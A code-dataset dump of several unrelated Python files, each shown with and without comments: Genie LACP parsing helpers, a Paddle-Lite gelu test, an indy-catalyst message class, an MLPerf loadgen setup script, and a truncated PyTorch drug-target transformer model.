# Python import logging # Genie from genie.metaparser.util.exceptions import SchemaEmptyParserError log = logging.getLogger(__name__) def get_lacp_member(device, port_channel, count, member, intf_list, internal=False): """ This API parse's 'show lacp internal/neighbor' commands and return requested member Args: device (`obj`): Device object port_channel (`str`): Port channel name count (`int`): Required interface count member (`str`): Specify one of them to search ‘interface’, ‘port_num’, ‘oper_key’ or ‘partner_id’ ex.) member=‘interface’ intf_list(`list'): List of interfaces internal (`bool`): True = internal command and False = neighbor command Returns: If success, returns member value or None """ if (internal == True): out = device.parse("show lacp internal") else: out = device.parse("show lacp neighbor") port_channel = port_channel.capitalize() if ( out and "interfaces" in out and port_channel in out["interfaces"] and "members" in out["interfaces"][port_channel] ): for intf in out["interfaces"][port_channel]["members"]: if out["interfaces"][port_channel]["members"][intf][member]: if member == "partner_id": res = out["interfaces"][port_channel]["members"][intf][member] #The example value in res: 50f7.22b2.f200 res1 = ''.join([res[i] for i in range(len(res)) if res[i] != '.']) #The example value in res1: 50f722b2f200 res2 = ':'.join(res1[i:i + 2] for i in range(0, len(res1), 2)) #The example value in res2: 50.f7.22.b2.f2.00 return res2 elif member == "interface": ifs = out["interfaces"][port_channel]["members"][intf][member] if ifs == intf_list[count]: return ifs else: temp = "interface" ifs = out["interfaces"][port_channel]["members"][intf][temp] if ifs == intf_list[count]: return out["interfaces"][port_channel]["members"][intf][member] return None def get_lacp_sys_id(device): """ This API parse's 'show lacp sys-id' command and return sys id Args: device (`obj`): Device object Returns: Returns system id """ res = device.execute("show lacp sys-id") #cli output for 'show lacp sys-id' example res: 32768, 70d3.7984.aa80 res = ''.join([res[i] for i in range(len(res)) if i > 6]) #Now the value in res: 70d3.7984.aa80 res1 = ''.join([res[i] for i in range(len(res)) if res[i] != '.']) #Now the value in res1 : 70d37984aa80 sys_id = ':'.join(res1[i:i + 2] for i in range(0, len(res1), 2)) #After adding dots at required places sys id as 70:d3:79:84:aa:80 return sys_id def get_lacp_intf_count(device, port_channel): """ This API parse 'show lacp internal' command and return number of member interfaces Args: device (`obj`): Device object port_channel (`str`): Port channel name Returns: Returns interface count """ try: out = device.parse("show lacp internal") except SchemaEmptyParserError: return 0 port_channel = port_channel.capitalize() count = 0 if ( out and "interfaces" in out and port_channel in out["interfaces"] and "members" in out["interfaces"][port_channel] ): for intf in out["interfaces"][port_channel]["members"]: if out["interfaces"][port_channel]["members"][intf]: temp = "interface" ifs = out["interfaces"][port_channel]["members"][intf][temp] count = count + 1 return count def get_lacp_intf_list(device, port_channel): """ This API parse 'show lacp internal' command and return interface list Args: device (`obj`): Device object port_channel (`str`): Port channel name Returns: Returns interface list """ try: out = device.parse("show lacp internal") except SchemaEmptyParserError: return [] port_channel = port_channel.capitalize() intf_list = [] if ( out and "interfaces" in out and port_channel in out["interfaces"] and "members" in out["interfaces"][port_channel] ): for intf in out["interfaces"][port_channel]["members"]: if out["interfaces"][port_channel]["members"][intf]: temp = "interface" ifs = out["interfaces"][port_channel]["members"][intf][temp] intf_list.append(ifs) return intf_list

37.625954

109

0.571313

import logging from genie.metaparser.util.exceptions import SchemaEmptyParserError log = logging.getLogger(__name__) def get_lacp_member(device, port_channel, count, member, intf_list, internal=False): if (internal == True): out = device.parse("show lacp internal") else: out = device.parse("show lacp neighbor") port_channel = port_channel.capitalize() if ( out and "interfaces" in out and port_channel in out["interfaces"] and "members" in out["interfaces"][port_channel] ): for intf in out["interfaces"][port_channel]["members"]: if out["interfaces"][port_channel]["members"][intf][member]: if member == "partner_id": res = out["interfaces"][port_channel]["members"][intf][member] res1 = ''.join([res[i] for i in range(len(res)) if res[i] != '.']) res2 = ':'.join(res1[i:i + 2] for i in range(0, len(res1), 2)) return res2 elif member == "interface": ifs = out["interfaces"][port_channel]["members"][intf][member] if ifs == intf_list[count]: return ifs else: temp = "interface" ifs = out["interfaces"][port_channel]["members"][intf][temp] if ifs == intf_list[count]: return out["interfaces"][port_channel]["members"][intf][member] return None def get_lacp_sys_id(device): res = device.execute("show lacp sys-id") res = ''.join([res[i] for i in range(len(res)) if i > 6]) res1 = ''.join([res[i] for i in range(len(res)) if res[i] != '.']) sys_id = ':'.join(res1[i:i + 2] for i in range(0, len(res1), 2)) return sys_id def get_lacp_intf_count(device, port_channel): try: out = device.parse("show lacp internal") except SchemaEmptyParserError: return 0 port_channel = port_channel.capitalize() count = 0 if ( out and "interfaces" in out and port_channel in out["interfaces"] and "members" in out["interfaces"][port_channel] ): for intf in out["interfaces"][port_channel]["members"]: if out["interfaces"][port_channel]["members"][intf]: temp = "interface" ifs = out["interfaces"][port_channel]["members"][intf][temp] count = count + 1 return count def get_lacp_intf_list(device, port_channel): try: out = device.parse("show lacp internal") except SchemaEmptyParserError: return [] port_channel = port_channel.capitalize() intf_list = [] if ( out and "interfaces" in out and port_channel in out["interfaces"] and "members" in out["interfaces"][port_channel] ): for intf in out["interfaces"][port_channel]["members"]: if out["interfaces"][port_channel]["members"][intf]: temp = "interface" ifs = out["interfaces"][port_channel]["members"][intf][temp] intf_list.append(ifs) return intf_list

true

f7326241d185da508ae499d8b06d8fa4296a28b9

1,626

py

Python

lite/tests/unittest_py/op/backends/x86/test_gelu_op.py

laiou/Paddle-Lite

a99080a48186ec7df546d77d39db58d84d1dda3e

[ "Apache-2.0" ]

null

lite/tests/unittest_py/op/backends/x86/test_gelu_op.py

laiou/Paddle-Lite

a99080a48186ec7df546d77d39db58d84d1dda3e

[ "Apache-2.0" ]

null

lite/tests/unittest_py/op/backends/x86/test_gelu_op.py

laiou/Paddle-Lite

a99080a48186ec7df546d77d39db58d84d1dda3e

[ "Apache-2.0" ]

null

# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import sys sys.path.append('../../common') sys.path.append('../../../') import test_gelu_op_base from auto_scan_test import AutoScanTest, IgnoreReasons from program_config import TensorConfig, ProgramConfig, OpConfig, CxxConfig, TargetType, PrecisionType, DataLayoutType, Place import unittest import hypothesis from hypothesis import given, settings, seed, example, assume class TestGeluOp(AutoScanTest): def is_program_valid(self, program_config: ProgramConfig) -> bool: return True def sample_program_configs(self, draw): return test_gelu_op_base.sample_program_configs(draw) def sample_predictor_configs(self): config = CxxConfig() config.set_valid_places({Place(TargetType.X86, PrecisionType.FP32, DataLayoutType.NCHW)}) yield config, ["gelu"], (1e-5, 1e-5) def add_ignore_pass_case(self): pass def test(self, *args, **kwargs): self.run_and_statis(quant=False, max_examples=25) if __name__ == "__main__": unittest.main()

33.875

125

0.741697

import sys sys.path.append('../../common') sys.path.append('../../../') import test_gelu_op_base from auto_scan_test import AutoScanTest, IgnoreReasons from program_config import TensorConfig, ProgramConfig, OpConfig, CxxConfig, TargetType, PrecisionType, DataLayoutType, Place import unittest import hypothesis from hypothesis import given, settings, seed, example, assume class TestGeluOp(AutoScanTest): def is_program_valid(self, program_config: ProgramConfig) -> bool: return True def sample_program_configs(self, draw): return test_gelu_op_base.sample_program_configs(draw) def sample_predictor_configs(self): config = CxxConfig() config.set_valid_places({Place(TargetType.X86, PrecisionType.FP32, DataLayoutType.NCHW)}) yield config, ["gelu"], (1e-5, 1e-5) def add_ignore_pass_case(self): pass def test(self, *args, **kwargs): self.run_and_statis(quant=False, max_examples=25) if __name__ == "__main__": unittest.main()

true

f7326364052f70b968fe2f687a12024f1f20264d

1,057

py

Python

agent/indy_catalyst_agent/messaging/connections/messages/connection_response.py

mikelodder7/indy-catalyst

5e80d8d6764144303b7ef1851aee32291bcb2d98

[ "Apache-2.0" ]

null

agent/indy_catalyst_agent/messaging/connections/messages/connection_response.py

mikelodder7/indy-catalyst

5e80d8d6764144303b7ef1851aee32291bcb2d98

[ "Apache-2.0" ]

null

agent/indy_catalyst_agent/messaging/connections/messages/connection_response.py

mikelodder7/indy-catalyst

5e80d8d6764144303b7ef1851aee32291bcb2d98

[ "Apache-2.0" ]

null

""" Represents a connection response message """ from marshmallow import fields from ...agent_message import AgentMessage, AgentMessageSchema from ..message_types import CONNECTION_RESPONSE from ....models.connection_detail import ConnectionDetail, ConnectionDetailSchema HANDLER_CLASS = ( "indy_catalyst_agent.messaging.connections.handlers." + "connection_response_handler.ConnectionResponseHandler" ) class ConnectionResponse(AgentMessage): """ """ class Meta: """ """ handler_class = HANDLER_CLASS schema_class = "ConnectionResponseSchema" message_type = CONNECTION_RESPONSE def __init__(self, *, connection: ConnectionDetail = None, **kwargs): super(ConnectionResponse, self).__init__(**kwargs) self.connection = connection class ConnectionResponseSchema(AgentMessageSchema): """ """ class Meta: """ """ model_class = ConnectionResponse signed_fields = ("connection",) connection = fields.Nested(ConnectionDetailSchema, required=True)

25.166667

81

0.717124

from marshmallow import fields from ...agent_message import AgentMessage, AgentMessageSchema from ..message_types import CONNECTION_RESPONSE from ....models.connection_detail import ConnectionDetail, ConnectionDetailSchema HANDLER_CLASS = ( "indy_catalyst_agent.messaging.connections.handlers." + "connection_response_handler.ConnectionResponseHandler" ) class ConnectionResponse(AgentMessage): class Meta: handler_class = HANDLER_CLASS schema_class = "ConnectionResponseSchema" message_type = CONNECTION_RESPONSE def __init__(self, *, connection: ConnectionDetail = None, **kwargs): super(ConnectionResponse, self).__init__(**kwargs) self.connection = connection class ConnectionResponseSchema(AgentMessageSchema): class Meta: model_class = ConnectionResponse signed_fields = ("connection",) connection = fields.Nested(ConnectionDetailSchema, required=True)

true

f73263c4c1df5dfb8107b488aaa76084d7b77bb6

1,842

py

Python

loadgen/setup.py

sf-wind/inference

ae7fa59ce55cd68dfd474149df417557a69704a9

[ "Apache-2.0" ]

null

loadgen/setup.py

sf-wind/inference

ae7fa59ce55cd68dfd474149df417557a69704a9

[ "Apache-2.0" ]

null

loadgen/setup.py

sf-wind/inference

ae7fa59ce55cd68dfd474149df417557a69704a9

[ "Apache-2.0" ]

null

"""MLPerf Inference LoadGen python bindings. Creates a module that python can import. All source files are compiled by python's C++ toolchain without depending on a loadgen lib. This setup.py can be used stand-alone, without the use of an external build system. This will polute your source tree with output files and binaries. Use one of the gn build targets instead if you want to avoid poluting the source tree. """ from setuptools import setup, Extension from version_generator import generate_loadgen_version_definitions generated_version_source_filename = "generated/version.cc" generate_loadgen_version_definitions(generated_version_source_filename) public_headers = [ "loadgen.h", "query_sample.h", "query_sample_library.h", "system_under_test.h", "test_settings.h", ] lib_headers = [ "logging.h", "test_settings_internal.h", "trace_generator.h", "utils.h", "version.h", ] lib_sources = [ "loadgen.cc", "logging.cc", ] mlperf_loadgen_headers = public_headers + lib_headers mlperf_loadgen_sources_no_gen = lib_sources mlperf_loadgen_sources = \ mlperf_loadgen_sources_no_gen + [generated_version_source_filename] sources = [ "bindings/python_api.cc", "generated/version.cc", "loadgen.cc", "logging.cc", ] mlperf_loadgen_module = Extension('mlperf_loadgen', define_macros = [('MAJOR_VERSION', '0'), ('MINOR_VERSION', '5')], include_dirs = [ '.', '../third_party/pybind/include' ], sources = mlperf_loadgen_sources + sources, depends = mlperf_loadgen_headers) setup (name = 'mlperf_loadgen', version = '0.5a0', description = 'MLPerf Inference LoadGen python bindings', url = 'https://mlperf.org', ext_modules = [mlperf_loadgen_module])

28.78125

76

0.698697

from setuptools import setup, Extension from version_generator import generate_loadgen_version_definitions generated_version_source_filename = "generated/version.cc" generate_loadgen_version_definitions(generated_version_source_filename) public_headers = [ "loadgen.h", "query_sample.h", "query_sample_library.h", "system_under_test.h", "test_settings.h", ] lib_headers = [ "logging.h", "test_settings_internal.h", "trace_generator.h", "utils.h", "version.h", ] lib_sources = [ "loadgen.cc", "logging.cc", ] mlperf_loadgen_headers = public_headers + lib_headers mlperf_loadgen_sources_no_gen = lib_sources mlperf_loadgen_sources = \ mlperf_loadgen_sources_no_gen + [generated_version_source_filename] sources = [ "bindings/python_api.cc", "generated/version.cc", "loadgen.cc", "logging.cc", ] mlperf_loadgen_module = Extension('mlperf_loadgen', define_macros = [('MAJOR_VERSION', '0'), ('MINOR_VERSION', '5')], include_dirs = [ '.', '../third_party/pybind/include' ], sources = mlperf_loadgen_sources + sources, depends = mlperf_loadgen_headers) setup (name = 'mlperf_loadgen', version = '0.5a0', description = 'MLPerf Inference LoadGen python bindings', url = 'https://mlperf.org', ext_modules = [mlperf_loadgen_module])

true

f732658d5a149ab114e15ead4d028cafb022c2a4

18,700

py

Python

models.py

zedian/esm

9d2b50cd96753e8a703ca810e875c9e887047ed9

[ "MIT" ]

null

models.py

zedian/esm

9d2b50cd96753e8a703ca810e875c9e887047ed9

[ "MIT" ]

null

models.py

zedian/esm

9d2b50cd96753e8a703ca810e875c9e887047ed9

[ "MIT" ]

null

from __future__ import print_function import torch from torch import nn import torch.utils.data as Data import torch.nn.functional as F from torch.autograd import Variable import numpy as np import collections import math import copy torch.manual_seed(1) np.random.seed(1) class BIN_Interaction_Flat(nn.Sequential): ''' Interaction Network with 2D interaction map ''' def __init__(self, **config): super(BIN_Interaction_Flat, self).__init__() self.max_d = config['max_drug_seq'] self.max_p = config['max_protein_seq'] self.emb_size = config['emb_size'] self.dropout_rate = config['dropout_rate'] #densenet self.scale_down_ratio = config['scale_down_ratio'] self.growth_rate = config['growth_rate'] self.transition_rate = config['transition_rate'] self.num_dense_blocks = config['num_dense_blocks'] self.kernal_dense_size = config['kernal_dense_size'] self.batch_size = config['batch_size'] self.input_dim_drug = config['input_dim_drug'] self.input_dim_target = config['input_dim_target'] self.gpus = torch.cuda.device_count() self.n_layer = 2 #encoder self.hidden_size = config['emb_size'] self.intermediate_size = config['intermediate_size'] self.num_attention_heads = config['num_attention_heads'] self.attention_probs_dropout_prob = config['attention_probs_dropout_prob'] self.hidden_dropout_prob = config['hidden_dropout_prob'] self.flatten_dim = config['flat_dim'] # specialized embedding with positional one self.demb = Embeddings(self.input_dim_drug, self.emb_size, self.max_d, self.dropout_rate) self.pemb = Embeddings(self.input_dim_target, self.emb_size, self.max_p, self.dropout_rate) self.d_encoder = Encoder_MultipleLayers(Encoder, self.n_layer, self.hidden_size, self.intermediate_size, self.num_attention_heads, self.attention_probs_dropout_prob, self.hidden_dropout_prob) self.p_encoder = Encoder_MultipleLayers(Encoder, self.n_layer, self.hidden_size, self.intermediate_size, self.num_attention_heads, self.attention_probs_dropout_prob, self.hidden_dropout_prob) self.icnn = nn.Conv2d(1, 3, 3, padding = 0) self.decoder = nn.Sequential( nn.Linear(self.flatten_dim, 512), nn.ReLU(True), nn.BatchNorm1d(512), nn.Linear(512, 64), nn.ReLU(True), nn.BatchNorm1d(64), nn.Linear(64, 32), nn.ReLU(True), #output layer nn.Linear(32, 1) ) def forward(self, d, p, d_mask, p_mask): ex_d_mask = d_mask.unsqueeze(1).unsqueeze(2) ex_p_mask = p_mask.unsqueeze(1).unsqueeze(2) ex_d_mask = (1.0 - ex_d_mask) * -10000.0 ex_p_mask = (1.0 - ex_p_mask) * -10000.0 d_emb = self.demb(d) # batch_size x seq_length x embed_size p_emb = self.pemb(p) # set output_all_encoded_layers be false, to obtain the last layer hidden states only... d_encoded_layers = self.d_encoder(d_emb.float(), ex_d_mask.float()) p_encoded_layers = self.p_encoder(p_emb.float(), ex_p_mask.float()) print("Drug encoded Layers shape: ", d_encoded_layers.shape) print("Protein encoded Layers shape: ", p_encoded_layers.shape) # repeat to have the same tensor size for aggregation d_aug = torch.unsqueeze(d_encoded_layers, 2).repeat(1, 1, self.max_p, 1) # repeat along protein size p_aug = torch.unsqueeze(p_encoded_layers, 1).repeat(1, self.max_d, 1, 1) # repeat along drug size print("Reshaped drug encoding shape: ", d_aug.shape) print("Reshaped protein encoding shape: ", p_aug.shape) i = d_aug * p_aug # interaction print("Interaction shape: ", i.shape) # if self.gpus != 0: # i_v = i.view(int(self.batch_size/self.gpus), -1, self.max_d, self.max_p) # else: i_v = i.view(self.batch_size, -1, self.max_d, self.max_p) print(i_v.shape) # batch_size x embed size x max_drug_seq_len x max_protein_seq_len i_v = torch.sum(i_v, dim = 1) print(i_v.shape) i_v = torch.unsqueeze(i_v, 1) print(i_v.shape) i_v = F.dropout(i_v, p = self.dropout_rate) #f = self.icnn2(self.icnn1(i_v)) f = self.icnn(i_v) #print(f.shape) #f = self.dense_net(f) #print(f.shape) # f = f.view(int(self.batch_size/self.gpus), -1) f = f.view(self.batch_size, -1) # print(f.shape) #f_encode = torch.cat((d_encoded_layers[:,-1], p_encoded_layers[:,-1]), dim = 1) #score = self.decoder(torch.cat((f, f_encode), dim = 1)) score = self.decoder(f) return score class Single_Transformer_Embedding(nn.Sequential): def __init__(self, **config): super(Single_Transformer_Embedding, self).__init__() self.max_len = config["max_len"] self.emb_size = config["emb_size"] self.dropout_rate = config["dropout_rate"] self.batch_size = config["batch_size"] self.input_dim = config["input_dim"] self.gpus = torch.cuda.device_count() self.n_layer = 2 self.hidden_size = config["emb_size"] self.intermediate_size = config["intermediate_size"] self.num_attention_heads = config["num_attention_heads"] self.attention_dropout = config["attention_probs_dropout_prob"] self.hidden_dropout = config["hidden_dropout_prob"] self.vocab_size = config['vocab_size'] self.flatten_dim = config["flat_dim"] self.emb = Embeddings(self.input_dim, self.emb_size, self.max_len, self.dropout_rate) self.encoder = Encoder_MultipleLayers(Encoder, self.n_layer, self.hidden_size, self.intermediate_size, self.num_attention_heads, self.attention_dropout, self.hidden_dropout) self.decoder = nn.Sequential( nn.Linear(self.hidden_size, self.vocab_size) ) def forward(self, x): ex_mask = 0. * x emb = self.emb(x) # batch_size x seq_length x embed_size # set output_all_encoded_layers be false, to obtain the last layer hidden states only... encoded_layers = self.encoder(emb.float(), 0.) # encoded_layers = encoded_layers.view(self.batch_size, -1) embedding = self.decoder(encoded_layers) return embedding class BIN_Transformer_Single(nn.Sequential): ''' Simple transformer encoder ''' def __init__(self, **config): super(BIN_Transformer_Single, self).__init__() self.max_d = config['max_drug_seq'] self.max_p = config['max_protein_seq'] self.max_len = config['max_len'] # drug and protein concatenated self.emb_size = config['emb_size'] self.dropout_rate = config['dropout_rate'] #densenet self.scale_down_ratio = config['scale_down_ratio'] self.growth_rate = config['growth_rate'] self.transition_rate = config['transition_rate'] self.num_dense_blocks = config['num_dense_blocks'] self.kernal_dense_size = config['kernal_dense_size'] self.batch_size = config['batch_size'] self.input_dim = config['input_dim'] self.gpus = torch.cuda.device_count() self.n_layer = 2 #encoder self.hidden_size = config['emb_size'] self.intermediate_size = config['intermediate_size'] self.num_attention_heads = config['num_attention_heads'] self.attention_probs_dropout_prob = config['attention_probs_dropout_prob'] self.hidden_dropout_prob = config['hidden_dropout_prob'] self.vocab_size = config['vocab_size'] self.flatten_dim = config['flat_dim'] # specialized embedding with positional one self.emb = Embeddings(self.input_dim, self.emb_size, self.max_len, self.dropout_rate) self.encoder = Encoder_MultipleLayers(Encoder, self.n_layer, self.hidden_size, self.intermediate_size, self.num_attention_heads, self.attention_probs_dropout_prob, self.hidden_dropout_prob) self.decoder = nn.Sequential( nn.Linear(self.flatten_dim, 512), nn.ReLU(True), nn.BatchNorm1d(512), nn.Linear(512, 64), nn.ReLU(True), nn.BatchNorm1d(64), nn.Linear(64, 32), nn.ReLU(True), #output layer nn.Linear(32, 1) ) def forward(self, x, mask): ex_mask = mask.unsqueeze(1).unsqueeze(2) ex_mask = (1.0 - ex_mask) * -10000.0 emb = self.emb(x) # batch_size x seq_length x embed_size # set output_all_encoded_layers be false, to obtain the last layer hidden states only... encoded_layers = self.encoder(emb.float(), ex_mask.float()) print("Encoder dim: ", encoded_layers.shape) # repeat to have the same tensor size for aggregation # aug = torch.unsqueeze(encoded_layers, 2).repeat(1, 1, self.max_len, 1) # repeat along protein size # print(aug.shape) #score = self.decoder(torch.cat((f, f_encode), dim = 1)) encoded_layers = encoded_layers.view(self.batch_size, -1) score = self.decoder(encoded_layers) return score # help classes class LayerNorm(nn.Module): def __init__(self, hidden_size, variance_epsilon=1e-12): super(LayerNorm, self).__init__() self.gamma = nn.Parameter(torch.ones(hidden_size)) self.beta = nn.Parameter(torch.zeros(hidden_size)) self.variance_epsilon = variance_epsilon def forward(self, x): u = x.mean(-1, keepdim=True) s = (x - u).pow(2).mean(-1, keepdim=True) x = (x - u) / torch.sqrt(s + self.variance_epsilon) return self.gamma * x + self.beta class Embeddings(nn.Module): """Construct the embeddings from protein/target, position embeddings. """ def __init__(self, vocab_size, hidden_size, max_position_size, dropout_rate): super(Embeddings, self).__init__() self.word_embeddings = nn.Embedding(vocab_size, hidden_size) self.position_embeddings = nn.Embedding(max_position_size, hidden_size) self.LayerNorm = LayerNorm(hidden_size) self.dropout = nn.Dropout(dropout_rate) def forward(self, input_ids): seq_length = input_ids.size(1) position_ids = torch.arange(seq_length, dtype=torch.long, device=input_ids.device) position_ids = position_ids.unsqueeze(0).expand_as(input_ids) words_embeddings = self.word_embeddings(input_ids) position_embeddings = self.position_embeddings(position_ids) embeddings = words_embeddings + position_embeddings embeddings = self.LayerNorm(embeddings) embeddings = self.dropout(embeddings) return embeddings class SelfAttention(nn.Module): def __init__(self, hidden_size, num_attention_heads, attention_probs_dropout_prob): super(SelfAttention, self).__init__() if hidden_size % num_attention_heads != 0: raise ValueError( "The hidden size (%d) is not a multiple of the number of attention " "heads (%d)" % (hidden_size, num_attention_heads)) self.num_attention_heads = num_attention_heads self.attention_head_size = int(hidden_size / num_attention_heads) self.all_head_size = self.num_attention_heads * self.attention_head_size self.query = nn.Linear(hidden_size, self.all_head_size) self.key = nn.Linear(hidden_size, self.all_head_size) self.value = nn.Linear(hidden_size, self.all_head_size) self.dropout = nn.Dropout(attention_probs_dropout_prob) def transpose_for_scores(self, x): new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size) x = x.view(*new_x_shape) return x.permute(0, 2, 1, 3) def forward(self, hidden_states, attention_mask): mixed_query_layer = self.query(hidden_states) mixed_key_layer = self.key(hidden_states) mixed_value_layer = self.value(hidden_states) query_layer = self.transpose_for_scores(mixed_query_layer) key_layer = self.transpose_for_scores(mixed_key_layer) value_layer = self.transpose_for_scores(mixed_value_layer) # Take the dot product between "query" and "key" to get the raw attention scores. attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2)) attention_scores = attention_scores / math.sqrt(self.attention_head_size) attention_scores = attention_scores + attention_mask # Normalize the attention scores to probabilities. attention_probs = nn.Softmax(dim=-1)(attention_scores) # This is actually dropping out entire tokens to attend to, which might # seem a bit unusual, but is taken from the original Transformer paper. attention_probs = self.dropout(attention_probs) context_layer = torch.matmul(attention_probs, value_layer) context_layer = context_layer.permute(0, 2, 1, 3).contiguous() new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,) context_layer = context_layer.view(*new_context_layer_shape) return context_layer class SelfOutput(nn.Module): def __init__(self, hidden_size, hidden_dropout_prob): super(SelfOutput, self).__init__() self.dense = nn.Linear(hidden_size, hidden_size) self.LayerNorm = LayerNorm(hidden_size) self.dropout = nn.Dropout(hidden_dropout_prob) def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.LayerNorm(hidden_states + input_tensor) return hidden_states class Attention(nn.Module): def __init__(self, hidden_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob): super(Attention, self).__init__() self.self = SelfAttention(hidden_size, num_attention_heads, attention_probs_dropout_prob) self.output = SelfOutput(hidden_size, hidden_dropout_prob) def forward(self, input_tensor, attention_mask): self_output = self.self(input_tensor, attention_mask) attention_output = self.output(self_output, input_tensor) return attention_output class Intermediate(nn.Module): def __init__(self, hidden_size, intermediate_size): super(Intermediate, self).__init__() self.dense = nn.Linear(hidden_size, intermediate_size) def forward(self, hidden_states): hidden_states = self.dense(hidden_states) hidden_states = F.relu(hidden_states) return hidden_states class Output(nn.Module): def __init__(self, intermediate_size, hidden_size, hidden_dropout_prob): super(Output, self).__init__() self.dense = nn.Linear(intermediate_size, hidden_size) self.LayerNorm = LayerNorm(hidden_size) self.dropout = nn.Dropout(hidden_dropout_prob) def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.LayerNorm(hidden_states + input_tensor) return hidden_states class Encoder(nn.Module): def __init__(self, hidden_size, intermediate_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob): super(Encoder, self).__init__() self.attention = Attention(hidden_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob) self.intermediate = Intermediate(hidden_size, intermediate_size) self.output = Output(intermediate_size, hidden_size, hidden_dropout_prob) def forward(self, hidden_states, attention_mask): attention_output = self.attention(hidden_states, attention_mask) intermediate_output = self.intermediate(attention_output) layer_output = self.output(intermediate_output, attention_output) return layer_output class LinearEncoder(nn.Module): def __init__(self, hidden_size, intermediate_size, num_attention_heads, attention_dropout, hidden_dropout): super(LinearEncoder, self).__init__() attention_head_size = int(hidden_size / num_attention_heads) self.attention = LinearMultiHeadAttn(num_attention_heads, hidden_size, attention_head_size, hidden_dropout, attention_dropout) def forward(self, hidden_states, attention_mask): attention_output = self.attention(hidden_states, attention_mask) return attention_output # class DPFPEncoder(nn.Module): # def __init__(self, hidden_size, intermediate_size, num_attention_heads, attention_dropout, hidden_dropout): # super(DPFPEncoder, self).__init__() # attention_head_size = int(hidden_size / num_attention_heads) # self.attention = DPFPMultiHeadAttn(num_attention_heads, hidden_size, attention_head_size, hidden_dropout, attention_dropout) # def forward(self, hidden_states, attention_mask): # attention_output = self.attention(hidden_states, attention_mask) # return attention_output class Encoder_MultipleLayers(nn.Module): def __init__(self, encoder, n_layer, hidden_size, intermediate_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob): super(Encoder_MultipleLayers, self).__init__() layer = encoder(hidden_size, intermediate_size, num_attention_heads, attention_probs_dropout_prob, hidden_dropout_prob) self.layer = nn.ModuleList([copy.deepcopy(layer) for _ in range(n_layer)]) def forward(self, hidden_states, attention_mask, output_all_encoded_layers=True): all_encoder_layers = [] for layer_module in self.layer: hidden_states = layer_module(hidden_states, attention_mask) #if output_all_encoded_layers: # all_encoder_layers.append(hidden_states) #if not output_all_encoded_layers: # all_encoder_layers.append(hidden_states) return hidden_states

42.596811

199

0.669144

from __future__ import print_function import torch from torch import nn import torch.utils.data as Data import torch.nn.functional as F from torch.autograd import Variable import numpy as np import collections import math import copy torch.manual_seed(1) np.random.seed(1) class BIN_Interaction_Flat(nn.Sequential): def __init__(self, **config): super(BIN_Interaction_Flat, self).__init__() self.max_d = config['max_drug_seq'] self.max_p = config['max_protein_seq'] self.emb_size = config['emb_size'] self.dropout_rate = config['dropout_rate'] self.scale_down_ratio = config['scale_down_ratio'] self.growth_rate = config['growth_rate'] self.transition_rate = config['transition_rate'] self.num_dense_blocks = config['num_dense_blocks'] self.kernal_dense_size = config['kernal_dense_size'] self.batch_size = config['batch_size'] self.input_dim_drug = config['input_dim_drug'] self.input_dim_target = config['input_dim_target'] self.gpus = torch.cuda.device_count() self.n_layer = 2 self.hidden_size = config['emb_size'] self.intermediate_size = config['intermediate_size'] self.num_attention_heads = config['num_attention_heads'] self.attention_probs_dropout_prob = config['attention_probs_dropout_prob'] self.hidden_dropout_prob = config['hidden_dropout_prob'] self.flatten_dim = config['flat_dim'] self.demb = Embeddings(self.input_dim_drug, self.emb_size, self.max_d, self.dropout_rate) self.pemb = Embeddings(self.input_dim_target, self.emb_size, self.max_p, self.dropout_rate) self.d_encoder = Encoder_MultipleLayers(Encoder, self.n_layer, self.hidden_size, self.intermediate_size, self.num_attention_heads, self.attention_probs_dropout_prob, self.hidden_dropout_prob) self.p_encoder = Encoder_MultipleLayers(Encoder, self.n_layer, self.hidden_size, self.intermediate_size, self.num_attention_heads, self.attention_probs_dropout_prob, self.hidden_dropout_prob) self.icnn = nn.Conv2d(1, 3, 3, padding = 0) self.decoder = nn.Sequential( nn.Linear(self.flatten_dim, 512), nn.ReLU(True), nn.BatchNorm1d(512), nn.Linear(512, 64), nn.ReLU(True), nn.BatchNorm1d(64), nn.Linear(64, 32), nn.ReLU(True), nn.Linear(32, 1) ) def forward(self, d, p, d_mask, p_mask): ex_d_mask = d_mask.unsqueeze(1).unsqueeze(2) ex_p_mask = p_mask.unsqueeze(1).unsqueeze(2) ex_d_mask = (1.0 - ex_d_mask) * -10000.0 ex_p_mask = (1.0 - ex_p_mask) * -10000.0 d_emb = self.demb(d) p_emb = self.pemb(p) d_encoded_layers = self.d_encoder(d_emb.float(), ex_d_mask.float()) p_encoded_layers = self.p_encoder(p_emb.float(), ex_p_mask.float()) print("Drug encoded Layers shape: ", d_encoded_layers.shape) print("Protein encoded Layers shape: ", p_encoded_layers.shape) d_aug = torch.unsqueeze(d_encoded_layers, 2).repeat(1, 1, self.max_p, 1) p_aug = torch.unsqueeze(p_encoded_layers, 1).repeat(1, self.max_d, 1, 1) print("Reshaped drug encoding shape: ", d_aug.shape) print("Reshaped protein encoding shape: ", p_aug.shape) i = d_aug * p_aug print("Interaction shape: ", i.shape) i_v = i.view(self.batch_size, -1, self.max_d, self.max_p) print(i_v.shape) i_v = torch.sum(i_v, dim = 1) print(i_v.shape) i_v = torch.unsqueeze(i_v, 1) print(i_v.shape) i_v = F.dropout(i_v, p = self.dropout_rate) f = self.icnn(i_v) f = f.view(self.batch_size, -1) score = self.decoder(f) return score class Single_Transformer_Embedding(nn.Sequential): def __init__(self, **config): super(Single_Transformer_Embedding, self).__init__() self.max_len = config["max_len"] self.emb_size = config["emb_size"] self.dropout_rate = config["dropout_rate"] self.batch_size = config["batch_size"] self.input_dim = 